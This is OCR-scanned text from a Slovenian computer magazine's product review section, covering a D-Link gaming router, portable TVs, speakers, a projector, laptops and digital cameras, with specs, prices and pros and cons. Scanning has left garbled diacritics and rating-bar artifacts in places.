tom podnapisov podpore za Sumnike ni. Uro$ Florjanci¢
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brezzicni usmerjevalnik

D-Link
Gamer Lounge
DGL-4300

ZA: D-Link je ameriska znamka omre¥ne
opreme, ki v svetovnem merilu sodi med prve
tri. V Sloveniji je prisotna %e ve& let, vendar
je zastopstvo zanjo od podjetja ZAK prevzela
ljubljanska Xenya. DGL-4300 je zelo zanimiv
izdelek, saj je oznalen kot igri¢arski usmerje-
valnik, namenjen vsem, ki sta jim zmogljivost
in hitrost bistvenega pomena. Je eden izmed
prvih usmerjevalnikov z vdelanim 4-vratnim
gigabitnim stikalom, in ker je vecina matic¢-
nih plod¢ e opremljena z gigabitnimi vrati,
smo preizkusili hitrost omrefnega kopiranja
100 MB velike datoteke: pri 100 Mb/s stikalu
je bilo opravilo kon¢ano v 11 sekundah, pri
DGL-4300 pa v treh! Poudariti je treba e od-
licno zmogljivost pri usmerjanju (iz vrat WAN
v LAN), kjer Dlink dosega hitrosti kabla oz.
priblizno 100 Mb/s. Tako je usmerjevalnik od-
licen za priklop na hitre ISP-je s tehnologijo
VDSL in ADSL2, saj je razlika opazna! Me-
hanizem GameFuel omogoca zagotavljanje
kakovosti storitve (QoS/CoS), torej poskrbi za
prednostno razporejanje prometa na povezavi
proti ponudniku storitve (uplink), ki ponava-
di hitro postane ozko grlo. Privzeto GameFuel
deluje avtomatizirano, lahko pa pravila doda-
jamo ro&no. Delovanje smo preizkusili z VoIP-
telefonskim pogovorom, med katerim smo
merili $tevilo izgubljenih paketov, so¢asno pa
pognali $e prenos podatkov prek FTP-ja. Ga-
meFuel je svoje delo opravil odli¢no, saj se je
izguba VoIP-paketov po vklopu z 2,3 % zniZala
na 0,5 %, &as povratnega paketa (round trip
latency) pa s 470 ms na 240 ms. Ob prazni li-
niji je &as povratnega paketa znasal 70 ms, kar
pomeni, da GameFuel ni v celoti odpravil za-
kasnitve, vendar je rezultat bistveno boljsi, in-

Skupna ocena: | EEEEEEEN
[TTTTTTT]

Informacije: Xenya, d.0.o, Ljubljana

Spletni naslov: www.dlink.co.uk

Cena: 40.500 SIT (169,00 EUR)

Tehnicni podatki

Frekvenca in hitrost: 2,4 GHz, 108 Mb/s

Podprti protokoli: IEEE 802.11g/802.11b

Nacini upravljanja: spletni vmesnik

Stevilo in tipi vmesnikov: 4x gigabitni ethernet,

1x WAN

Moznost vdelave dodatnih modulov: ne

Tehnologija MIMO: ne

Dodatne funkcije: pozarni zid SPI, povecanje hitrosti

na 108 Mb/s, zunanja izmenljiva antena, prednostno

razporejanje prometa

Prilozeno: programska oprema, navodila

teraktivne aplikacije, vklju¢no z igrami, ki iz-
menjujejo veliko koli¢ino kratkih paketkov, pa
so delovale veliko bolj odzivno. Atherosov ¢ip
Super-G skrbi za pohitritev brezZi¢nih preno-
sov do 108 Mb/s, dokaj veliko 5dBi anteno na
vmesniku RP-SMA pa lahko tudi nadomesti-
mo z ob&utljivejSo. Pozarni zid poleg obi¢ajnih
funkcij vsebuje tudi dolg seznam iger, s katerim
enostavno in hitro nalo¥imo ustrezna pravila,
ki omogog&ijo omre?ni promet zanje. Odli¢na je
tudi funkcija Active Sessions, s katero vidimo
vse odprte omre?ne povezave.

PROTI: Mosi predvsem odsotnost brezzic¢ne
tehnologije MIMO, saj bi ob navezi z drugo
generacijo imeli skoraj popoln usmerjevalnik
za dokaj sprejemljivo ceno! Tudi kak gigabitni
vmesnik vec ne bi gkodil!

Jaka Mele

prenosni TV z video-predvajalnikom

Xoro HSD 7500

[ Skupnaocena: =~ EEEENENEEN |

Razmerje cena/kakovost: HENEEEEEEEN

Informacije: 1ZID, d.o.0., Ljubljana

Spletni naslov: www.xoro.si

Cena: 69.826 SIT (291,37 EUR)

Tehnicni podatki

Funkcije: DVD/DivX-predvajalnik, DVB-T sprejemnik,
A/V-vhod/izhod

Zaslon: 7-pal¢ni (17,7 cm) LCD

Napajanje: vdelan akumulator, Li-ion 2200 mAh
Drugo: prilozena sprejemnik DVB-T

Mere in masa: 255 (310) x 158 x 25.5 mm; 1,5 kg

ZA: Prenosne video predvajalnike smo Ze vide-
li, a brez zadrzkov lahko trdimo, da so bile prav
zaradi nezmoznosti predvajanja zapisa MPEG-4,
bolje znanega kot DivX, doslej take naprave do-
kaj neprivlatne. Xoro HSD 7500 je napravica, ki
na prvi pogled deluje kot prenosni televizor, ven-
dar pod pokrovom skriva veliko ve¢. Ze 7-paléni
LCD-zaslon, lo¢ljivosti 480 x 234, odet v meh-
ko gumirano plastiko, ka%e, da gre za premisljeno
potezo podjetja. Zaslon je namre¢ navkljub raz-
merju stranic 16 : 9 dovolj velik, da se da gle-
dati tudi filme s podnapisi. Pod LCD-zaslonom
se skriva DVD-predvajalnik, v katerega plosc¢ek
kar porinemo! Predvaja vsebine (S)VCD, DVD
in MPEG-4, glasbene CD-je, glasbene MP3 in
slikovne datoteke JPEG. Vdelan je tudi bralnik
pomnilnigkih kartic SD, MMC in MS, pikana i
paje vhod USB 1.1, s katerim lahko predvajamo
tudi vsebine, shranjene na zunanjih USB- pom-
nilniskih klju¢ih, trdih diskih ... Drugi sestavni
del naprave je digitalni televizijski sprejemnik
DVB-T, ki pa v Sloveniji ne bo uporaben, saj
RTVS oddaja le testno, in to samo prvi program
— morda bi bilo zanimivo pogledati le teletekst,
kar napravica tudi obvlada. Zato je koristno da se
da modul DVB-T odstraniti in je napravica tako
dobrih 5 cm krajsa. Po podatkih proizvajalca po-
nuja odstranljiva Li-ion baterija tri ure avtono-
mije. Gumbi in sistemski meniji so dovolj veliki
za nemoteno rtabo, prilofen pa je tudi daljinski
upravljalnik. Naprava ima vdelane zvo&nike in
izhod za slusalke.

PROTI: Zeleli bi si vigjo loc¢ljivost zaslona,
saj je pri 480 x 234 obvezna interpolacija s vis-
jega signala, kar vpliva na kakovost slike, ki je
zgolj povpre&na. Jaka Mele
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UL
hi-fi zvocniki
Bose
Companion 3

Razmerje cena/kakovost:

Informacije: Lorex, d.o.o., Ljubljana
Spletni naslov: www.bose.com
Cena: 89.999 SIT (375,56 EUR)
Konfiguracija: 2.1

Stevilo satelitov: 2

Aktivni nizkotonec: da

certifikat THX: ne

Daljinski upravljalnik: da, kabelski

ZA: Verjetno jih ni veliko junakov, ki bi svoj ob-
stojedi zvocniski sistem, ki dela druzbo ra¢unalni-
ku, in za katerega smo vecinoma dali nekaj tiso¢a-
kov, zanesenjaki pa tudi do tri cankarje, zamenjalo
s sistemom 2.1, za ceno skoraj sto tiso¢akov. In
tudi sami smo se vprasali, zakaj, za vraga, je mali
sistem Bose Companion 3 tako poseben in vreden
take Stevilke. Zato smo preizkusili komplet, ki je
z dvema drobcenima satelitoma (6,5 x 9 x 6 cm)
na katerikoli mizi videti &udovito, pa $e povrsina
za odlaganje papirjev, skodelic kave in porivanje
miske se drasti¢no poveca. Nizktonec postavimo
pod mizo oziroma nekam na stran, od njega pa
potegnemo edinole elegantni krmilnik za nastav-
ljanje jakosti in vklop aktivne nizkotonske enote.
Ceprav je sistem majhen, pa da od sebe motan
glas, odlika patentiranega procesorinja tehnolo-
gije TrueSpace pa prida prostorski ob&utek. Na
zadnji strani nizkotonca lahko nastavimo $e glo-
bino basov, vendar smo jo na testu le manjsali ...
Sistem zavoljo izdelave iz posebnih materialov, ki
jih v tem ali ni¥jem cenovnem segmentu ne upo-
rablja noben drug proizvajalec, spravi od sebe bo-
gat in zelo naraven zvok. Cisti so bili tako visoki
kot srednji toni, bas pa je bil mo&an in definiran,
vsekakor pa je prednost, za katero smo po poslusa-
nju skoraj bili pripravljeni odpreti denarnico, od-
li¢nost slisanih podrobnosti v zvoku tudi pri zelo
nizki jakosti reprodukcije!

PROTI: 7c besen pogled po internetu bo od-
kril ceno ez lu¥o, ki je 40 % ni%ja od slovenske!
Mot nizkotonca na nekaterih podlagah zbledi
(preproga), na drugih pa se pretirano poveca
(viseti parket). Sistem je vsekakor nalozba, ki je
v &asu, ko prihaja Dolby Digital HD, in je sistem
7.1 %e skoraj standard, vpraljiva ... Jaka Mele
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LCD TV

AOC L32W351

videoprojektor

Sony VPL-ES3

LLTTTTI
Razmerje cena/kakovost: ENEEEEEEENE |

Informacije: ElkoTex, d.0.0., Ljubljana
Spletni naslov: www.aocdisplay.com

Cena: 209.900 SIT (875,90 EUR)

Velikost diagonale: 32 palcev (81 cm)
Locljivost: 1280 x 768 pik

Barvna globina: 16,7 milijona

Svetilnost: 550 cd/m?

Kontrast: 1000 : 1

Odzivnost: 8 ms

Zorni kot: 170 stopinj; 170 stopinj

Mere in masa: 810 x 625 x 130 mm; 16 kg
Dodatki: vdelani zvocniki

Vmesniki: antena, 2x SCART, 1x S-video, 1x kompo-
zitni video, 2x RCA stereo, 1x analogni D-SUB
Teletekst: da

Daljinski upravljalnik: da

ZA: roC je na nafem trgu prisoten Ze ne-
kaj Casa, pa vseeno povecini spregledan. Novi
81 cm LCD-televizor bo zanimiv predvsem
zaradi cene, saj za dobrih dvesto tiso¢akov po-
nuja velik, svetel in kontrasten zaslon ter tiste
osnovne funkcije, ki jih uporablja skoraj vsakdo.
Televizor je odet v srebrno kovinsko ohisje, ki
ga postavimo na namizno stojalo, ali pa lahko
dokupimo roko za monta¥o na steno. Pod zaslo-
nom so $e najosnovnejsi krmilni gumbi. Matrika
ponuja lo¢ljivost 1280 x 768 pik, kar je danes
Se sprejemljiv minimum, 8 ms ¢as osvefevanja
pa zagotavlja, da je slika dinami¢na in da tudi
v hitrih scenah ni opaznih moten;j. Ceprav bi
teoreti¢no lahko predvajal tudi HDTV-signal
lo¢ljivosti 720p, pa ni nikjer oznaten kot HD-
ready. Tudi sicer ima le najosnovnejse prikljucke
— poleg dveh SCART in S-video ter kompozit-
nega videa je tu le Se vhod D-sub za priklop ra-
Cunalnika. Televizor ponuja sliko v sliki (med
razli¢nimi vhodi). Presenetilo nas je dokaj do-
bro procesiranje slike.

PROTI: Zal televizor ne ponuja nikakr$nih
filtrov za razli¢no prikazovanje slike, tako da
je treba vse nastavitve opravljati ro¢no prek ne
najprijaznejsih menijev. Tudi daljinski uprav-
ljalnik je na ravni DVD-predvajalnikov ki se
prodajajo skupaj s pralnimi praski za manj kot
deset tisocakov ... Jaka Mele

Razmerje cenalkakovost:
Informacije: CHS d.o.o.
Spletni naslov: www.sony.com

Cena: 199.990 SIT (834,56 EUR)

Tehnologija in lo€ljivost: 3LCD 0,7", SVGA (800 x
600)

Svetilnost: 2000 ANSI-lumnov

Kontrast: 300 : 1

Zivljenjska doba zamice: 2000 ur (3000 ur v
ekonomic¢nem nacinu)

Vmesniki: 1x kompozitni video, 1x S-video, 2x D-
sub, RS-232C, 2x RCA (stereo)

Mere in masa: 374 x 99 x 2562 mm; 2,9 kg
Daljinski upravljalnik: da

 EEEEEEE
[TITIIIITTH

ZA: Sonyjev novi projektor v ni¥jem cenov-
nem segmentu meri predvsem na manj§e po-
slovne uporabnike in podjetnike. Ker gre za
dokaj majhen in lahek projektor, je tudi njego-
va prenosljivost prakti¢na. Med odlikami pro-
jektorja je zelo svetla slika, ki je s stranicami
4 : 3 imenitna za predstavitve, za ogled slik ali
filmov pa pride prav kateri izmed Sestih privze-
tih na¢inov. Posebnost so tudi izhodna vrata,
kamor lahko priklju¢imo $e recimo drugi mo-
nitor. Med zanimivostmi je tudi izhod za venti-
lator, ki je usmerjen v prednji del projektorja,
in torej ob¢instvu za projektorjem vro¢ zrak ne
piha ve& v obraz. Projektor je tudi neverjetno
tih, saj glasnost ne odstopa veliko od nazivne
vrednosti 29 dB. Sprejemnik za karti¢ni daljin-
ski upravljalnik je na prednji in zadnji strani
projektorja!l Za pravilno geometrijo slike (key-
stone) je treba poskrbeti ro¢no. Sony je obdrzal
zanimivo moznost zaklepa nastavitev na pro-
jektorju in zas¢ito projektorja z geslom. Kako-
vost prikazane slike in vestnost barvne sheme
sta odli¢ni. Prilo%eno je platno 150 x 150 cm.

PROTI: Za veliko sliko je treba projektor kar
odmakniti. Meniji so sicer pregledni, a morda
preved poenostavljeni in brez kaksne funkcije
pri nastavitvah. Geometrijo slike lahko po-
pravljamo le navpi¢no. Daljinski upravljalnik
bi lahko imel laserski kazalnik. JakaMele
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OLYMPUS

Vizije so nasa prihodnost

Svetovna Novost:

orva D-SLR kamera

S predogledom zive slike
na LCD zaslonu

TEﬁIIICI.l IMAGE FHE“ ASSOCIATION

2006

BEST IMAGING INNOVATION

OLYMPES £-330 LIVE VIEW

® Prva D-SLR kamera na svetu s funkcijo Full Time Live Preview,
ki zagotavija predogled zive slike na LCD zaslonu.

m 6,4-centimetrski nagiben HyperCrystal LCD zaslon.

m Tipalo za sliko Live MOS s 7,5 milijoni pikslov.

m Protiprasni filter »Super Sonic Wave Filter.

ED 35mm ED8m 11 22 14-54mm 50 200 mm ED50m| 7-14mm ED 35 100 mm ED 90 250 mm ED 150 mm ED 300 mm
Makro 1:3.5 Flsheye135 835 1:2.8-3.5 :2.8-3.5 Makro120 4.
(70mm*) (16mm*) (22 -44 mm*) (28-108 mm*) (100 -400 mm*) (100 mm*) (14-28mm*)  (70- 200 mm*) (180-! 500 mm“) (300 mm*) (600 mm‘)
Standardna serija | | Profesionalna serija | | Vrhunska profesionalna serija
. -——
www.olympus.i OLYMPUS =-330




TV-sprejemnik za prenosni racunalnik

Genius VideoWonder
Cardbus Dual

Razmerje cena/kakovost:

Informacije: ElkoTex, d.o.0., Ljubljana

Spletni naslov: www.genius-europe.com

Cena: 21.990 SIT (91,77 EUR)

Vhodi: antenski vhod, analogna TV in DVB-T, S-video
vhod, 2x RCA (stereo) vhod, kompozitni video vhod
Napajanje: interno PCMCIA, podpirati mora mo¢ 1 A
Programska oprema: lastni gonilniki, zajem videa,
zakasnjeno predvajanje, DVD MovieFactory

Drugo: antena DVB-T in antenski vmesniki PAL/
NTSC

ZA:

dvojni  TV-sprejem-
nik v obliki kartice

Geniusov

PCMCIA  cardbus
je v ¢asu nogometne
norije zanimiv nacin
kako v gospodinjstvu
z enim TV-aparatom
in prenosnikom resiti
navzkriZja interesov.
Kartica je zasnovana
izredno preprosto, saj
je na odebeljenem zu-
nanjem delu prostor
za priklop analogne TV-antene in antene DVB-T (ta je tudi priloZena v
kompletu), prek vmesnika pa je na voljo $e priklop S-video ali kompo-
zitnega videa skupaj s stereo avdio signalom (2 x RCA). Zanimivo je da
napravica omogoca so¢asno spremljanje tako analogne kot digitalne
televizije, ob Cimer za sofasni prikaz na zaslonu uporablja funkcijo slike
v sliki (PiP). Programska oprema je pregledna in enostavna, sprejemati
in pokazati pa zna tudi teletekst. Zaradi dodatnega video vhoda lahko
gledamo tudi video iz zunanje naprave (DVD, kamera ...), spet tudi so-
Casno z enim televizijskim sprejemnikom. Sicer zna programska oprema
delovati kot osebni videorekorder — omogo&a snemanje TV- programov,
zakasnjeno predvajanje, zajem slike ... Preklapljanje kanalov je hitro.
Za zajem videa lahko izbiramo med formatoma MPEG-1 in MPEG-2.
Napravica omogoca tudi programirano snemanje. PriloZen je program
DVD MovieFactory, ki iz zajetega videa omogo&a izdelavo DVD-filma.
Se koristnejsi je Ulead Video ToolBox, s katerim lahko zajeti video
urejamo in pretvorimo v kup drugih formatov, kot so MPEG-4, DivX,
ali video formate za mobilne telefone: 3GPP, 3GPP-2 ...

PROTI: Skoda, da je DVB-T pri nas e nekoristen. Zal bo vso proce-
siranje odpadlo na centralni procesor, zajem neposredno v MPEG-4 ni
moZen. Pogresali smo daljinski upravljalnik. Za snemanje videa pri polni
locljivosti in z DVD-kakovostjo potrebujemo mocan procesor Pentium-
M s taktom nad 1,8 GHz. Skoda, da kartica ni tudi radijski sprejemnik.

Jaka Mele
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prenosni racunalnik

Packard Bell EasyNote
W7945

Razmerje cena/kakovost:

Informacije: Avtera, d.0.0., Ljubljana

Spletni naslov: www.packardbell.com

Cena: 319.990 SIT (1335,30 EUR)

Procesor: Intel Pentium M 745; Dothan 1,8 GHz

Pomnilnik: 1 GB DDR2, 533 MHz

Trdi disk: 80 GB

Vdelane opticne enote: DVD+-R(W)/DL

Zaslon: 17-paltni, 1440 x 900 pik

Graficna kartica: nVidia GeForce Go 6600, 128 MB

Vmesniki: VGA, 6 x USB 2.0, 56K modem, 10/100 LAN, avdio,

PCMCIA, bralnik pomnilni§kih kartic 4v1, Wi-Fi 802.11b/g, S-video, I[EEE 1394
Delovanje baterij: 3:12; BatteryMark

Mere in masa: 395 x 275 x 41 mm, 3,4 kg

Programska oprema: Windows XP Home, PowerCinema, Norton Internet Security
2005

ZA: Najnovejsi model Packard Bell na nagem trgu je kreposten namizni
nadomestek, ki sligi na ime W7945. Prenosnik zgrajen v slogu doseda-
njih Packard Bellov, je simpati¢en %e na prvi pogled, 17-paléni zaslon
razmerja 16 : 9 pa k temu $e pripomore. Prenosnik je opremljen prak-
ti¢no z vsem, da pa je primeren tudi za kak$no zahtevnejse grafi¢no delo
ali novejo igro, poskrbi grafi¢ni procesor GeForce Go 6600 s 128 MB
namenskega pomnilnika. Sicer sistem temelji na ne ravno najnovej$em
veznem naboru i915PM, a ima podporo za pomnilnik DDR 2, ki ga je ve-
likodusno vdelanega 1 GB. Procesor Pentium-M (Dothan) pri taktu 1,8
GHz deluje spodobno tudi ob zahtevnejsih opravilih. Prenosnik je s kom-
binacijo &me in aluminijasto sive mladosten in razgiban, tudi drsna plos¢a
z gumbi je oblikovana simpati¢no, z velikostjo pa predvsem prakti¢no.
Tipkovnica je standardne namizne velikosti, tako da jo bodo brez tezav
lahko uporabljali vsi. Dvoslojni DVD+-R(W) pekad je danes %e standard.
Veliko programske opreme, kar potrebuje uporabnik za zacetek dela, je %e
nalo?eno. Prav pride bralnik pomnilniskih kartic, ki pozna kartice SD,
MS, MS Pro in MMC. Hitro za¢nemo uporabljati tudi hitre gumbe nad
tipkovnico, ki jih lahko nastavimo. Izpostaviti velja e odli¢no ceno.

PROTI: Pogresali smo brezZi¢no povezavo bluetooth. Ponovno smo
pogresali trojni wi-fi vmesnik 802.11a/b/g. Vsem, ki ne delajo v temi,
se lahko zameri odsevni, bles¢ece prevlecen zaslon. Zal je priloten le
okrnjen sistem Windows XP Home. Tudi namesto izhoda VGA bi bil
lahko e DVI. Jaka Mele
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prenosni racunalnik

MSI L715

: i
Razmerje cena/kakovost: | |

Informacije: Acord-92, d.o.0., Ljubljana

Spletni naslov: www.msi.com.tw

Cena: 399.900 SIT (1668,76 EUR)

Procesor: AMD Turion 64 MT-32; 1,8 GHz
Pomnilnik: 512 MB DDR, 400 MHz

Trdi disk: 80 GB

Vdelane opti¢ne enote: DVD+-R(W)/DL

Zaslon: 17-palcni, 1680 x 1050 pik

Graficna kartica: ATI X700

Vmesniki: VGA (DVI-1), 3x USB 2.0, 56K modem,
gigabitni ethernet, avdio, PCI Express Card, TV-iz-
hod, spletna kamera, PCMCIA, bralnik pomnilniskih
kartic 5v1, Wi-Fi 802.11b/g, IEEE 1394, stereo
zvocniki

Delovanije baterij: 1:45; BatteryMark

Mere in masa: 396 x 278 x 35 mm, 3,1 kg
Programska oprema: Windows XP Home

ZA: v ki kategoriji« MSI s svojim najnovej-
$im modelom L715 ponuja zelo zanimiv paket, ki
se od povpre¢ne ponudbe v tem razredu prijetno
razlikuje. Predvsem je vdelan 17-paléni zaslon
z vedjo lo€ljivostjo kot obitajno, %e na prvi po-
gled pa je opazna tudi zanimiva zasnova, saj ima
recimo tipkovnica tudi $teviléni del (tipka Enter
je tu postavljena manj motece). Prenosnik gradi
na AMD-jevem Turionu 64, sistemski nabor je
ATI Xpress 200, za grafiko pa povsem logi¢no za
to kombinacijo skrbi mo¢an procesor ATI X700.
Na vrhu zaslona se v okviru skriva neopazna ka-
mera z lo¢ljivostjo 1,3 megapike, ki je uporabna
predvsem za video pogovore prek spleta. Prenosnik
je opremljen tako z razSiritveno refo PCI Express
Card kot z reo PCMCIA. Tako kot drugi MSI-jevi
prenosniki ima tudi ta nad tipkovnico Sest hitrih
gumbov, ki jih je mo¢ programirati. Pohvaliti velja
tudi TV-izhod S-video ter izhod za video signal, ki
uporabljakar DVI-vmesnik! Bralnik pomnilniskih
kartic podpira kartice XD, SD, MS Pro in MMC.
Gigabitna ethernetna povezava bo v okolju delo-
vne mize ali dnevne sobe odtehtala manjkajoto
povezavo bluetooth. Gre za simpaticen velik pre-
nosnik, ki bo zavoljo zanimive cene in MSl-jeve
2-letne garancije nasel prostor na tevilnih mizah.
Spet sta priloZena tako torba kot migka ...

PROTI: Nimamo velikih zamer: poleg daljse
avtonomije, wi-fi povezave 802.11a ter blueto-
otha prenosniku razen e kaksne USB-re%e ne
manjka ni¢. JakaMele

prenosni racunalnik

MSI S262

\

LTI
Razmerje cena/kakovost: 1INl M|

Informacije: Acord-92, d.o.0., Ljubljana

Spletni naslov: www.msi.com.tw

Cena: 347.900 SIT (1451,77 EUR)

Procesor: dvojedmi Intel T2300; 1.66 GHz
Pomnilnik: 1 GB DDR-2, 533 MHz

Trdi disk: 60 GB

Vgrajene pomnilniske enote: DVD+-R(W)/DL
Zaslon: 12,1-palcni, 1280 x 800 pik

Graficna kartica: Intel i945GM

Vmesniki: VGA, 3x USB 2.0, 56K modem, 10/100
LAN, avdio, 1x PCI Express Card, bralnik pomnilni-
Skih kartic 3v1, Wi-Fi 802.11a/b/g, Bluetooth v1.2,
|[EEE 1394, stereo zvocniki

Delovanije baterij: 4:10; BatteryMark

Mere in masa: 303 x 225 x 28 mm, 1,95 kg
Programska oprema: Windows XP Home

ZA: 7. druga osveZitev ponudbe na sloven-
skih tleh je v MSI-jevi ponudbi prenosnikov
pokazala pri¢akovane spremembe. Tako smo
v druZini ultraprenosnih modelov z 12,1-pal¢-
nim zaslonom docakali dvojedrne Intelove
procesorje Yonah ter osveZitev platforme Cen-
trino Duo, z osnovo Napa, ki ima pomnilnik
DDR 2 ter integrirano 802.11 a/b/g wi-fi vezje.
Prenosnik je izredno kompakten, priloZena je
zmogljiva 8-celi¢na baterija, ki zagotavlja pre-
ko 4 ure dela. Prenosnik je odet v kakovostno
plasti¢no ohisje &rne barve, bles¢e& zaslon pa z
12-palci v razmerju stranic 16 : 9 ponuja do-
volj prostora za normalno delo. Tipkovnica je
odli¢na, le porazdelitev tipk je ¢udna. Opti¢na
enota zna zapisovati vse DVD-formate, v ohis-
je pa je vdelan tudi bralnik pomnilniskih kar-
tic (SD, MMC, MS). Prenosnik deluje tiho in
hladno! V paketu sta $e opti¢éna miska MSI in
torbica za prenaSanja prenosnika, s &imer celo-
ten paket funkcionalno zaokro%en in cenovno
zanimiv.

PROTI: 71 prenosnik nima S-video izhoda,
kar pomeni, da ni mo#nosti priklopa na televi-
zor. Zaslon je dober, &eprav z bles¢eco prevle-
ko, v katero ulovi precej odsevov. Ob slepem
pritiskanju na, recimo, Enter (ki ni &isto des-
no) smo izgubili kar nekaj Zivcev. Grafi¢ni del
bi lahko poganjal kaksno zmogljivejse jedro.
Jaka Mele

prenosni racunalnik

HP nc2400

[LITTTITTH
[TTTTTTITTH
Informacije: HP Slovenija
Spletni naslov: www.hp.com
Cena: (cena $e ni znana)
Procesor: Intel Core Solo U1400; 1.2 GHz
Pomnilnik: 1 GB DDR-2, 533 MHz
Trdi disk: 60 GB
Vdelane opti¢ne enote: CD-R(W)/DVD-ROM
Zaslon: 12,1", 1280 x 800 pik
Graficna kartica: Intel i950GM, do 128 MB
Vmesniki: VGA, 2x USB 2.0, 56K modem, 10/100
LAN, avdio, 1x PCMCIA, Wi-Fi 802.11a/b/g, Blueto-
oth v1.2, |[EEE 1394, stereo zvocniki,
Delovanje baterij: 4:25; BatteryMark
Mere in masa: 283 x 213 x 25 mm, 1,29 kg
Programska oprema: Windows XP Pro

ZA: 1p je kon¢no osve¥il ponudbo v razredu ul-
traprenosnih ra¢unalnikov in zapolnil praznino, ki
jo je imel v svoji ponudi od sicer tabli¢nega modela
Compaq tc1100. Novinec, ki se podaja v razred,
kjer prevladujeta IBM/Lenovo X60 in Dellov X1,
je zanimiv, saj poleg nizke te¥e in dolge avtonomije
edini ponuja Se Intelov najnovejsi procesor Core
Solo U1400. Ceprav ta deluje le pri 1,2 GHz pa
sodi v razred ultra nizkonapetostnih procesorjev, ki
v navezi s 6-celi¢no baterijo 55WHr zdrZi dobre
$tiri ure! Prenosnik izstopa tudi po vdelani opti¢ni
enoti, ki je nerazumljivo sicer le CD-zapisovalnik
in DVD ROM, a ga drugi v tem te?nostnem razre-
du nimajo! Tudi komunikacijsko je mali &ni ratu-
nalnik opremljen odli¢no, saj radijski del pokriva
tako z wi-fi vezjem 802.11 a/b/g kot z Bluetoothom
1.2. Takoj nam je bil vSe¢ tudi 12,1-paléni zaslon,
razmerja 16 : 9, ki se ne bles¢i! Tipkovnica je od-
li¢na, zraven pa je tudi bralnik prstnih odtisov. Pre-
nosnik deluje tiho in hladno!

PROTI: 7.1 prenosnik nima S-video izhoda,
kar pomeni, da ni mo¥nosti priklopa na tele-
vizor, nima pa niti bralnika pomnilnigkih kar-
tic. Le dva USB-vhoda sta vsekakor premalo.
Do popolnosti prenosniku manjkajo Se kaksno
zmogljiveje grafi¢no jedro, DVD- zapisoval-
nik, bolj$a krmilna pali¢ica in dodaten krmilni
gumb (funkcija srednjega gumba je omogoce-
na z zelo nerodnim so¢asnim pritiskom na no-
tranji del obeh gumbov). Jaka Mele
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novi digitalni fotoaparati

Se bo vroce

Poletje se e ni dobro zaCelo, a ze
50 tu prve jesenske lastovke s sejma
Photokina.

PiSe: Alan Orli¢ Bel3ak
alan.oflic@mojmikrosi

ed prvimi se je potrudil Sony in pred-

stavil model A100, ki je narejen na

osnovi Konice Minolte 5D. V avgu-

stovskih dneh ga boste %e lahko ku-
pili tudi pri nas, vpraSanje je le, kak$na bo cena. Da
ne gre le za golo nadgradnjo ali preimenovanje, kot
je to storil Samsung, povedo novosti, s katerimi se
ponasa; odd novega tipala, izbolj$anega sistema za
umirjanje slike do protiprasne zaiite, s katero se
je doslej ponagal le Olympus. Ali bo to v navezi
z novim imenom dovolj za prepri¢evanje kupcev,
bomo videli zelo kmalu.

Pentax Optio W10

Nepremodljivi fotoaparati gredo Pentaxu
odli¢no izpod 1ok, saj je to %e njihov peti foto-

Class g 1y
Cles 5 by broot

aparat, ki brez te¥av zdr#i do metra in pol pod
vodo. Ohisje se od predhodnikov ni bistveno
spremenilo, prav tako ima enak objektiv. Prav-
zaprav ga od modela WPi lo¢ita le vegji zaslon
in visja ob¢utljivost tipala, ki je narasla na ISO
800. Zanimivo, kjer so nekaj dodali, so drugje
vzeli, tako ima W10 le en na¢in merjenja sve-
tlobe, medtem ko imata oba predhodnika tri.
A to za vecino uporabnikov niti ni pomemb-
no, saj fotoaparat odli¢no opravi svoje delo,
e vedno pa je tu moznost pod/nadosvetlitve
slike. Scenskih nastavitev je cela vrsta, kar 20,
med njimi je tudi zajem videa. Poskrbljeno je
tudi za ljubitelje avtoportretov, fotoaparat pa
lahko uporabite tudi kot diktafon. Kakovost
slike je dobra, uporabna je tudi najvisja obcut-
ljivost. Da bi bil Optio W10 e korak dlje od
predhodnika, mu manjka predvsem umirjeval-
nik slike, kot ga ima A10. A kaZe, da bomo na
to morali potakati na njegovega naslednika.

~ Samsung GX-1S
Ovca v volgji preobleki
ali obratno? Morda nova
cesarjeva oblacila? Sam-
sung se je odlodil za sled-
nje, saj so odstopanja
med modeloma GX-18
h in Pentax *ist DS2
. (ki v Evropi niti ni
na prodaj) le v barvi
ohi§ja in razli¢nih
napisih. Gre torej za
identi¢en fotoaparat,
ki bo za marsikaterega
uporabnika kljub temu
zanimiv. Zajec se skri-
va v grmu, imenova-
nem cena, in ta utegne
biti pomemben dejavnik
pri izbiri. Paleta objektivov je zelo
Siroka, saj ustrezajo vsi s Pentaxovim
bajonetom, z ustreznim adapterjem pa tudi ob-
jektivi z navojem M42. Majhno in kompaktno
ohisje, ki se odli¢no dr#i v roki, hitro nastavlji-
ve moznosti in enostavna raba so znacilnosti,
ki smo jih pri Pentaxu *ist DS ¥e spoznali in so
tu enake. A kljub temu smo nasli eno razliko,
ne veliko, a vseeno pomembno: algoritme za
odpravo Suma so $e dodatno izboljsali in foto-
grafija pri ISO 3200 je zelo dobra tudi na za-
slonu. Ob vsem tem nam ne gre v glavo le eno,
zakaj ni Samsung naredil koraka naprej, podo-
bno kot ga je Sony z modelom A100. Morda
malce drugatno ohigje, visja lo&ljivost in ta
fotoaparat bi lahko imel svojo, Samsungovo
duso. KaZe, da jim je veliko pomembnejse tek-
movati v cenovno najzanimivej$em, amater-
skem razredu in da se zaenkrat niso odlo¢ili za
dodaten vlozek, ki bi ga zahteval razvoj. A ne
pozabimo, Photokina je blizu in morda bomo
tam videli kaj novega.

Proizvajalec Pentax Samsung Canon Kodak Sony Nikon

in ime modela Optio W10 GX-1S Powershot S3 IS Easyshare V610 Cybershot H2 Coolpix P4

Informacije Foto Besenicar, s.p. Eurofoto, d.0.0. Avtera, d.0.0. Meditrade, d.o.0. Sony Slovenija, d.0.0. Grafo, d.0.0.

Spletni naslov WWw.pentax.com WWW.Samsungeamera.com | WWw.canon.com www.kodak.com WWw.sony.com www.nikonimaging.com

Cena 74.500 SIT 159.990 SIT 129.990 SIT 129.900 SIT 99.990 SIT 99.990 SIT

Cena (v evrih) 311 668 542 542 417 417

Za nepremocljivo ohisje moznosti ostrenie, slika velikost moznosti wi-fi povezava,

umirjevalnik slike

Proti hitrost delovanja v bistvu le preimenovan | nacin videa bi lahko imel | cena majhno elektronsko iskalo | objektiv bi bil lahko
locljivost PAL svetlejSi

Najvisja locljivost 2816 x2112 3008 x 2008 2816 x2112 2832 x 2128 2816x2112 3264 x 2448

Locljivost tipala in 6M,1/25" 6M,235x157mm | 6M,1/25" 6M,1/25" 6M,1/25" 8M, 118"

velikost

